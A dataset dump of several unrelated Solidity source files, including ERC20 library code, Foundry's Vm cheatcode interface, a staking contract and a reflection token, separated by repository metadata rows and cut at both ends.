// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract TestERC20 is ERC20 {
mapping(address => uint) public nonces;
constructor (address _initReceiver) public ERC20("TEST", "TEST") {
_mint(_initReceiver, 100000000 * (10 ** uint256(decimals()))); // 100M
}
}
| 336,929 | 10,813 |
77a27dd09914002b06250e9ef5989c0a1ac471a9c33e07f837836c23884712ba
| 11,801 |
.sol
|
Solidity
| false |
526730352
|
zobront/paradigm-ctf
|
fbf731b18d5afd83a5ecbcf59c6689a4c98fce9d
|
lib/forge-std/src/Vm.sol
| 2,288 | 9,670 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
pragma experimental ABIEncoderV2;
interface Vm {
struct Log {
bytes32[] topics;
bytes data;
}
// Sets block.timestamp (newTimestamp)
function warp(uint256) external;
// Sets block.height (newHeight)
function roll(uint256) external;
// Sets block.basefee (newBasefee)
function fee(uint256) external;
// Sets block.difficulty (newDifficulty)
function difficulty(uint256) external;
// Sets block.chainid
function chainId(uint256) external;
// Loads a storage slot from an address (who, slot)
function load(address,bytes32) external returns (bytes32);
// Stores a value to an address' storage slot, (who, slot, value)
function store(address,bytes32,bytes32) external;
// Signs data, (privateKey, digest) => (v, r, s)
function sign(uint256,bytes32) external returns (uint8,bytes32,bytes32);
// Gets the address for a given private key, (privateKey) => (address)
function addr(uint256) external returns (address);
// Gets the nonce of an account
function getNonce(address) external returns (uint64);
// Sets the nonce of an account; must be higher than the current nonce of the account
function setNonce(address, uint64) external;
// Performs a foreign function call via the terminal, (stringInputs) => (result)
function ffi(string[] calldata) external returns (bytes memory);
// Sets environment variables, (name, value)
function setEnv(string calldata, string calldata) external;
// Reads environment variables, (name) => (value)
function envBool(string calldata) external returns (bool);
function envUint(string calldata) external returns (uint256);
function envInt(string calldata) external returns (int256);
function envAddress(string calldata) external returns (address);
function envBytes32(string calldata) external returns (bytes32);
function envString(string calldata) external returns (string memory);
function envBytes(string calldata) external returns (bytes memory);
// Reads environment variables as arrays, (name, delim) => (value[])
function envBool(string calldata, string calldata) external returns (bool[] memory);
function envUint(string calldata, string calldata) external returns (uint256[] memory);
function envInt(string calldata, string calldata) external returns (int256[] memory);
function envAddress(string calldata, string calldata) external returns (address[] memory);
function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
function envString(string calldata, string calldata) external returns (string[] memory);
function envBytes(string calldata, string calldata) external returns (bytes[] memory);
// Sets the *next* call's msg.sender to be the input address
function prank(address) external;
// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
function startPrank(address) external;
function prank(address,address) external;
function startPrank(address,address) external;
// Resets subsequent calls' msg.sender to be `address(this)`
function stopPrank() external;
// Sets an address' balance, (who, newBalance)
function deal(address, uint256) external;
// Sets an address' code, (who, newCode)
function etch(address, bytes calldata) external;
// Expects an error on next call
function expectRevert(bytes calldata) external;
function expectRevert(bytes4) external;
function expectRevert() external;
// Records all storage reads and writes
function record() external;
// Gets all accessed reads and write slot from a recording session, for a given address
function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
function expectEmit(bool,bool,bool,bool) external;
function expectEmit(bool,bool,bool,bool,address) external;
// Mocks a call to an address, returning specified data.
// Calldata can either be strict or a partial match, e.g. if you only
// pass a Solidity selector to the expected calldata, then the entire Solidity
// function will be mocked.
function mockCall(address,bytes calldata,bytes calldata) external;
// Mocks a call to an address with a specific msg.value, returning specified data.
// Calldata match takes precedence over msg.value in case of ambiguity.
function mockCall(address,uint256,bytes calldata,bytes calldata) external;
// Clears all mocked calls
function clearMockedCalls() external;
// Expects a call to an address with the specified calldata.
// Calldata can either be a strict or a partial match
function expectCall(address,bytes calldata) external;
// Expects a call to an address with the specified msg.value and calldata
function expectCall(address,uint256,bytes calldata) external;
// Gets the code from an artifact file. Takes in the relative path to the json file
function getCode(string calldata) external returns (bytes memory);
// Labels an address in call traces
function label(address, string calldata) external;
// If the condition is false, discard this run's fuzz inputs and generate new ones
function assume(bool) external;
// Sets block.coinbase (who)
function coinbase(address) external;
function broadcast() external;
function broadcast(address) external;
function startBroadcast() external;
function startBroadcast(address) external;
// Stops collecting onchain transactions
function stopBroadcast() external;
// Reads the entire content of file to string, (path) => (data)
function readFile(string calldata) external returns (string memory);
// Reads next line of file to string, (path) => (line)
function readLine(string calldata) external returns (string memory);
// (path, data) => ()
function writeFile(string calldata, string calldata) external;
// Writes line to file, creating a file if it does not exist.
// (path, data) => ()
function writeLine(string calldata, string calldata) external;
// (path) => ()
function closeFile(string calldata) external;
// - Path points to a directory.
// - The file doesn't exist.
// - The user lacks permissions to remove the file.
// (path) => ()
function removeFile(string calldata) external;
// Convert values to a string, (value) => (stringified value)
function toString(address) external returns(string memory);
function toString(bytes calldata) external returns(string memory);
function toString(bytes32) external returns(string memory);
function toString(bool) external returns(string memory);
function toString(uint256) external returns(string memory);
function toString(int256) external returns(string memory);
// Record all the transaction logs
function recordLogs() external;
// Gets all the recorded logs, () => (logs)
function getRecordedLogs() external returns (Log[] memory);
// Snapshot the current state of the evm.
// Returns the id of the snapshot that was created.
// To revert a snapshot use `revertTo`
function snapshot() external returns(uint256);
// Revert the state of the evm to a previous snapshot
// Takes the snapshot id to revert to.
// This deletes the snapshot and all snapshots taken after the given snapshot id.
function revertTo(uint256) external returns(bool);
// Creates a new fork with the given endpoint and block and returns the identifier of the fork
function createFork(string calldata,uint256) external returns(uint256);
function createFork(string calldata) external returns(uint256);
function createSelectFork(string calldata,uint256) external returns(uint256);
function createSelectFork(string calldata) external returns(uint256);
// Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
function selectFork(uint256) external;
/// Returns the currently active fork
/// Reverts if no fork is currently active
function activeFork() external returns(uint256);
// Updates the currently active fork to given block number
// This is similar to `roll` but for the currently active fork
function rollFork(uint256) external;
// Updates the given fork to given block number
function rollFork(uint256 forkId, uint256 blockNumber) external;
/// Returns the RPC url for the given alias
// Marks that the account(s) should use persistent storage across fork swaps in a multifork setup
// Meaning, changes made to the state of this account will be kept when switching forks
function makePersistent(address) external;
function makePersistent(address, address) external;
function makePersistent(address, address, address) external;
function makePersistent(address[] calldata) external;
// Revokes persistent status from the address, previously added via `makePersistent`
function revokePersistent(address) external;
function revokePersistent(address[] calldata) external;
// Returns true if the account is marked as persistent
function isPersistent(address) external returns (bool);
function rpcUrl(string calldata) external returns(string memory);
/// Returns all rpc urls and their aliases `[alias, url][]`
function rpcUrls() external returns(string[2][] memory);
function deriveKey(string calldata, uint32) external returns (uint256);
function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
}
| 8,575 | 10,814 |
ee27f0696fe1acf08117deb5826bd95daa8a25cb03d19a45ff6eb0d1baf664e5
| 19,636 |
.sol
|
Solidity
| false |
348649733
|
Popsicle-Finance/Contracts
|
72b3f9d5e7000a476b55367e859225113bc0e0f6
|
DiamondHands.sol
| 2,686 | 11,412 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract OwnableData {
address public owner;
address public pendingOwner;
}
abstract contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner {
if (direct) {
require(newOwner != address(0) || renounce, "Ownable: zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
} else {
pendingOwner = newOwner;
}
}
function claimOwnership() public {
address _pendingOwner = pendingOwner;
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract DiamondHands is Ownable {
using SafeERC20 for IERC20;
// unlock time when the funds are available for withdrawal
uint256 public unlockTime = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
// flag that allows users to deposit funds to this contract
bool public openToDeposit = true;
// total amount of ICE token that users deposited to this contract
uint256 public totalDeposited = 0;
uint256 week = 1 weeks;
// ICE Token pointer
IERC20 immutable public iceToken;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
// Info of each user.
struct UserInfo {
uint256 depositedAmount; // How many Ice tokens the user has provided.
uint256 withdrawedAmount; // Tokens that are already withdrawn by the user.
}
modifier openDeposit() {
require(openToDeposit, "IceToken_Staking: all deposits are closed");
_;
}
// Info of each user that stakes ICE tokens.
mapping(address => UserInfo) public userInfo;
constructor (IERC20 _token) {
iceToken = _token;
}
// View function to display pending Tokens on frontend depending on the user address.
function pendingReward(address beneficiary) public view returns(uint256) {
UserInfo memory user = userInfo[beneficiary];
uint256 userAmount = user.depositedAmount;
return userAmount / 10 + userAmount * 2 - user.withdrawedAmount;
}
// Function that starts the staking by prohibiting new deposits. Sets staking period to one week.
// Can be called only by the owner of the contract
function closeDeposit() external onlyOwner {
require(openToDeposit, "Deposit function already closed");
openToDeposit = false;
unlockTime = block.timestamp + week;
}
// Deposit ICE tokens to DiamondHands.
function deposit(uint256 _amount) external openDeposit {
require(_amount > 0, "Insufficient balance"); //save some gas
UserInfo storage user = userInfo[msg.sender];
iceToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.depositedAmount += _amount;
totalDeposited += _amount;
emit Deposit(msg.sender, _amount);
}
// Withdraw ICE tokens from DiamondHands. SafeRewardTransfer gets triggered for pendingReward
// Can be called only after the staking period is finished
function withdraw() external {
require(block.timestamp >= unlockTime, "Withdraw is not unlocked");
UserInfo storage user = userInfo[msg.sender];
uint256 pendingTokenReward = pendingReward(msg.sender);
if (pendingTokenReward > 0) { // save some gas
uint256 safeAmount = getSafeRewardTransferAmount(pendingTokenReward);
if(safeAmount > 0){
user.withdrawedAmount += safeAmount;
iceToken.transfer(msg.sender, safeAmount);
}
emit Withdraw(msg.sender, safeAmount);
}
}
function getSafeRewardTransferAmount(uint256 _amount) internal view returns(uint256) {
uint256 rewardTokenBalance = iceToken.balanceOf(address(this));
if (_amount > rewardTokenBalance) {
return rewardTokenBalance;
}
return _amount;
}
}
| 7,481 | 10,815 |
3bc5eeba8318013b7ce43ff9c476b80b841065d73f1da41d04e250e8e609a7c3
| 28,970 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xf38d88C7281D4B852fC587eE983d00f7a7Ea677f/contract.sol
| 5,098 | 18,272 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FriedChicken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 8;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 36000000 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'FriedChicken';
string private constant _symbol = 'KFC';
uint256 private _taxFee = 180;
uint256 private _burnFee = 180;
uint private _max_tx_size = 36000000 * 10 ** uint256(_decimals);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
